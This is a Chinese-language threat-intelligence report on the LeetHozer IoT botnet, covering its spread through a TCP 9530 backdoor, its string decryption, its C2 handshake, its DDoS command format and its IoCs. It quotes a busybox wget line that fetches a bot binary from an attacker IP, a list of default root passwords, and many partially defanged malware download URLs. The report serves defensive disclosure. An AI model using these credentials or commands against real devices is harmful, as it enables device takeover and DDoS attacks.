LeetHozer Botnet分析报告

背景


2020年3月26日我们捕获了一个可疑的样本 11c1be44041a8e8ba05be9df336f9231，大部分杀毒引擎将其识别为Mirai，但是其网络流量却不符合Mirai的特征，这引起了注意，经分析，这是一个复用了Mirai的Reporter，Loader机制，重新设计了加密方法以及C2通信协议的Bot程序。

Mirai已经是安全社区非常熟悉的老朋友，蜜罐系统每天都能捕获大量的Mirai变种，这些变种都非常简单:要么是换一换C2;要么改一改加密的Key;要么集成些新的漏洞扫描……这些入门级的DDoser已经不能引起我们的任何兴趣了。这个Bot程序之所以能在众多变种脱颖而出，一是因为它独特的的加密方法，严谨的通信协议；二是因为在溯源过程中，我们发现它很有可能隶属于Moobot团伙而且正在迭代开发中（就在我们编写本文的同时作者更新了第三个版本，增加了一些新功能，更换了新的Tor CC vbrxmrhrjnnouvjf.onion:31337）。基于这些原因，我们决定将它曝光。因为传播过程中使用H0z3r字串(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)，我们将其命名为LeetHozer。目前观测到感染目标主要是雄迈旗下的固件版本早于2017年5月的H.264设备和部分固件版本晚于2017年5月H.265设备。其Bot功能主要包括：


 * 漏洞扫描，入侵并上报新设备
 * DDos攻击



传播


LeetHozer利用目标设备TCP 9530端口的漏洞(后门)开启的telnetd服务，开启成功后通过默认口令登录设备完成感染过程。传播过程如图所示：





关于9530端口漏洞的利用


 * 2017 年安全研究人员披露了该漏洞[1]。[2]。
 * 2020-02-04 漏洞POC在github上开源[3]。[4]。
 * 2020-02-11 我们首次看到我们称之为moobot_xor的moobot变种利用该漏洞
 * 2020-03-26 LeetHozer开始利用该漏洞。


当前利用该漏洞的源IP还保持在日均4.5k左右。




LeetHozer和moobot_xor在9530漏洞利用中使用了同一个独特的字串/bin/busybox DNXXXFF，我们还观察到他们曾经在相同时间点使用了同一个downloader,因此推测moobot_xor和LeetHozer属于同一个组织或者个人。基于这一点，我们将扫描利用TCP 9530端口漏洞的IP都认为是潜在的或已经成为LeetHozer的Bot IP估计，LeetHozer的日活Bot IP可能在4.5k左右。请注意并不是说这些Bot都是通过9530端口感染而来。该团伙也会通过其他漏洞、弱口令等方式传播自己的bot样本。

这个两个家族共用downloader的时间以及downloader如下所示：


date=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm




当前我们看到的LeetHozer攻击目标


2020-04-07	37.49.226.171         	31337	ddos	tcpraw  	45.83.128.252  	ASN40676 	Psychz_Networks
2020-04-07	37.49.226.171         	31337	ddos	udpplain	172.106.18.210 	ASN40676 	Psychz_Networks
2020-04-08	37.49.226.171         	31337	ddos	udpplain	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-11	w6gr2jqz3eag4ksi.onion	31337	ddos	icmpecho	185.38.151.161 	ASN25369 	Hydra_Communications_Ltd
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	73.99.44.254   	ASN7922  	Comcast_Cable_Communications,_LLC
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-13	37.49.226.171         	31337	ddos	udppplain	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	52.47.76.48    	ASN16509 	Amazon.com,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	162.248.93.234 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-17	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	tcpraw  	76.164.193.89  	ASN36114 	Versaweb,_LLC
2020-04-18	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	udpplain	66.150.188.101 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.22.86   	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.33.194  	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	172.107.228.198	ASN40676 	Psychz_Networks
2020-04-19	37.49.226.171         	31337	ddos	udpplain	192.99.226.11  	ASN16276 	OVH_SAS
2020-04-19	37.49.226.171         	31337	ddos	udpplain	209.58.147.245 	ASN394380	Leaseweb_USA,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	24.46.209.115  	ASN6128  	Cablevision_Systems_Corp.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-20	37.49.226.171         	31337	ddos	udpplain	139.28.218.180 	ASN9009  	M247_Ltd
2020-04-20	37.49.226.171         	31337	ddos	udpplain	74.91.122.90   	ASN14586 	Nuclearfallout_Enterprises,_Inc.
2020-04-23	37.49.226.171         	31337	ddos	icmpecho	162.244.55.107 	ASN49544 	i3D.net_B.V
2020-04-23	37.49.226.171         	31337	ddos	udpplain	162.244.55.107 	ASN49544 	i3D.net_B.V




逆向分析


目前LeetHozer Botnet有2个版本，V2新增了DDos攻击方法，其它方面几乎是一样的。



下文将以最新版本V2为主，同时也会穿插V1(MD5:11c1be44041a8e8ba05be9df336f9231)，从主机行为，DDos指令格式，网络通信等方面剖析LeetHozer的技术细节。





MD5: 57212f7e253ecebd39ce5a8a6bd5d2df


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped


Packer: None


Library: uclibc


Version: V2




主机行为


LeetHozer的功能比较简单，运行时会操作watchdog设备，将pid写到入名为.1的文件中，在console中输出出/bin/sh:./a.out:not found字串，迷惑用户。接着开始扫描9530端口，使用漏洞开启telnetd服务，将被感染的设备信息上报给reporter，同时，和C2建立通信，等待指令，准备DDos攻击。


Bot使用自定义的算法加密敏感资源，防止其功能被一眼看破，解密算法如下


xorkey="qE6MGAbI"

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=""
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt



解密后资源信息如下所示，里面包括了Bot要操作的watchdog设备，C2等，这些信息只有在需要使用时会才会解密。





.1
/dev/watchdog




/dev/misc/watchdog
/bin/sh: ./a.out: not found


w6gr2jqz3eag4ksi.onion






Bot功能具体实现如下所示，


 1. 
    
    
    设置watchdog防止设备重启
    
    
    

 2. 
    
    
    通过PID文件实现Bot单例
    
    
    

 3. 
    
    
    扫描端口&漏洞利用&上报信息
    
    
    * 
      
      
      复用了mirai的快速端口扫描，扫描端口为9530
      
      
      
    
    * 
      
      
      利用漏洞开启telnetd服务，用以下的凭证尝试登录。
      
      
      root:xc3511
      root:xmhdipc
      root:klv123
      root:123456
      root:jvbzd
      root:hi3518
      root:tsgoingon
      
      
    
    * 
      
      
      上报成功登录的设备信息
      
      
      
    

 4. 
    
    
    接收C2指令，准备DDos攻击,不同版本支持的攻击命令有所差异。
    
    
    
    
    
    version
    command
    
    
    
    
    V1
    tcpraw
    
    
    v2
    tcpraw;icmpecho;udpplain
    
    
    
    
    
    但是攻击指令的数据格式是一样的，其结构为Header(6 bytes),Option1,Option2...，其中Option的结构为Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, 下面以一个实际的攻击指令为例说明解析过程。
    
    
    00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  >.?.:.......udpp
    00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13
    00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180....
    00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d.
    ----------------------------------------------------------------------------
    Header: 	3E 00 3F 00 3A 00,小端方式解读数据
    				0x003E		---- xor key
    				0x003A		---- 0x3A xor 0x3E = 4 个Option
    Opt 1:		01 00 08 00 04 00,小端方式解读数据
    				0x0001		----Type 1,Padding 4 bytes
    				0x0008		----Content length,len("udpplain") = 8
    				0x0004		----Subtype 4,Contents为attack vector
    			Contents: udpplain
    			Padding: 00 00 00 00
    			
    Opt 2:		01 00 0E 00 06 00,小端方式解读数据
    				0x0001		----Type 1,Padding 4 bytes
    				0x000e		----Content length
    				0x0006		----Subtype 6,Contents为attack target
                 Contents: 139.28.218.180
                 Padding: 00 00 00 00
    			
    Opt 3:		02 00 01 00 0c 00,小端方式解读数据
    				0x0002		----Type 2,No Padding
    				0x0001		----Type 2 忽略此字段，Contents长度为定长2 bytes
                 0x000c		----Subtype 0xc,Contents为target port
                 Contents: 80
    
    Opt 4:		02 00 01 00 05 00,小端方式解读数据
    				0x0002		----Type 2,No Padding
    				0x0001		----Type 2 忽略此字段，Contenss长度为定长2 bytes
    				0x0005		----Subtype 0x05,Contents为攻击时长
                 Contents: 0x0064
    
    



通信协议


LeetHozer使用过2种C2:Tor-C2以及IP-C2，比较奇怪的是在V2的Bot样本中两种C2同时存在，但是Tor-C2所在的的代码分枝不会被执行，我们有理由相信这个Botnet正在迭代开发中。


 1. 
    
    
    Tor-C2，V1使用，V2出现但不使用。
    
    
      w6gr2jqz3eag4ksi.onion:31337
    
    

 2. 
    
    
    IP-C2，V2使用。
    
    
    37.49.226.171:31337
    
    


无论是哪种C2，通信协议是一样的，只不过Tor-C2有一个通过Tor proxy建立连接的前置过程。Bot和C2建立连接后得经过2轮交互才真正上线成功。


 * 
   
   
   通过Tor proxy和C2建立连接
   
   
   
   
   Bot 样本内嵌代理列表如下
   
   
      45.82.176.194:9034
      91.236.251.131:9712
      18.177.13.247:443
      62.109.8.218:8888
      82.99.213.98:9191
      35.225.55.174:9251
      194.99.22.206:9050
      45.147.199.142:8060
      47.104.188.20:8999
      54.149.179.115:9050
      195.128.102.178:9050
      185.176.25.66:9002
      54.188.106.141:9080
      193.47.35.56:10000
      88.193.137.205:9050
      134.209.84.21:9119
      194.58.111.244:9050
      192.99.161.66:9050
      193.47.35.53:9090
      167.179.74.97:9251
      185.30.228.141:9050
   
   

 * 
   
   
   第一轮交互
   
   
   Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据
   
   
   
   
   一些关键字段的含义
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x00
   2 bytes
   0x8f49
   source port
   
   
   0x02
   2 bytes
   0x7a69
   hardcode
   
   
   0x04
   4 bytes
   0x00004818
   hardcode
   
   
   0x0e
   2 bytes
   0x0001
   first round
   
   
   0x14
   4 bytes
   0x0051cc
   checksum
   
   
   
   
   
   其中checksum的计算如下所示
   
   
   step 1: calc the sum of the first 12 WORD
   		(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
   		+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
   step 2:(HWORD(sum) + LWORD(sum)) >> 16
   		(0x0001+0x51CB) >> 16 = 0;
   step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
   		(0x0001+0x51cb) && 0xffff = 0x000051cc
   
   
   
   C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，部分数据将用于第二轮交互。
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x04
   4 bytes
   0x000070f1
   valid flag1
   
   
   0x08
   4 bytes
   0x00004819
   valid flag2
   
   
   
   

 * 
   
   
   第二轮交互
   
   
   Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据，大部分数据来自一轮的C2的回包。
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x00
   8 bytes
   0x7a697a69,0x000070f1
   C2 reply in the round 1
   
   
   0x08
   4 bytes
   0x000070f2
   hardcode
   
   
   0x0e
   2 bytes
   0x0002
   second round
   
   
   0x14
   4 bytes
   0x00d665
   checksum
   
   
   
   
   
   C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，Bot的上线过程完成。
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x04
   4 bytes
   0x00002775
   valid flag1
   
   
   0x08
   4 bytes
   0x000070f2
   valid flag2
   
   
   
   


至此Bot与C2之间的身份查验完成，Bot开始等待C2下发指令，C2回包的第一字节指定了指令的类型。


 * 
   
   
   指令码：0x00表示心跳
   
   
   

 * 
   
   
   指令码：0x01表示上传Bot分组信息
   
   
   

 * 
   
   
   指令码：非0x00，非0x01，DDos攻击
   
   
   



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。



IoC list



C2


vbrxmrhrjnnouvjf.onion:31337  #v3
37.49.226.171:31337           #v2
w6gr2jqz3eag4ksi.onion:31337  #v1




MD5


027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6




Downloader


http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86




IP


185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd
185.225.19.57       Romania        ASN39798     MivoCloud_SRL
37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited
64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC
188.214.30.178      Romania        ASN51177     THC_Projects_SRL
190.115.18.144      Russian        ASN262254    DANCOM_LTD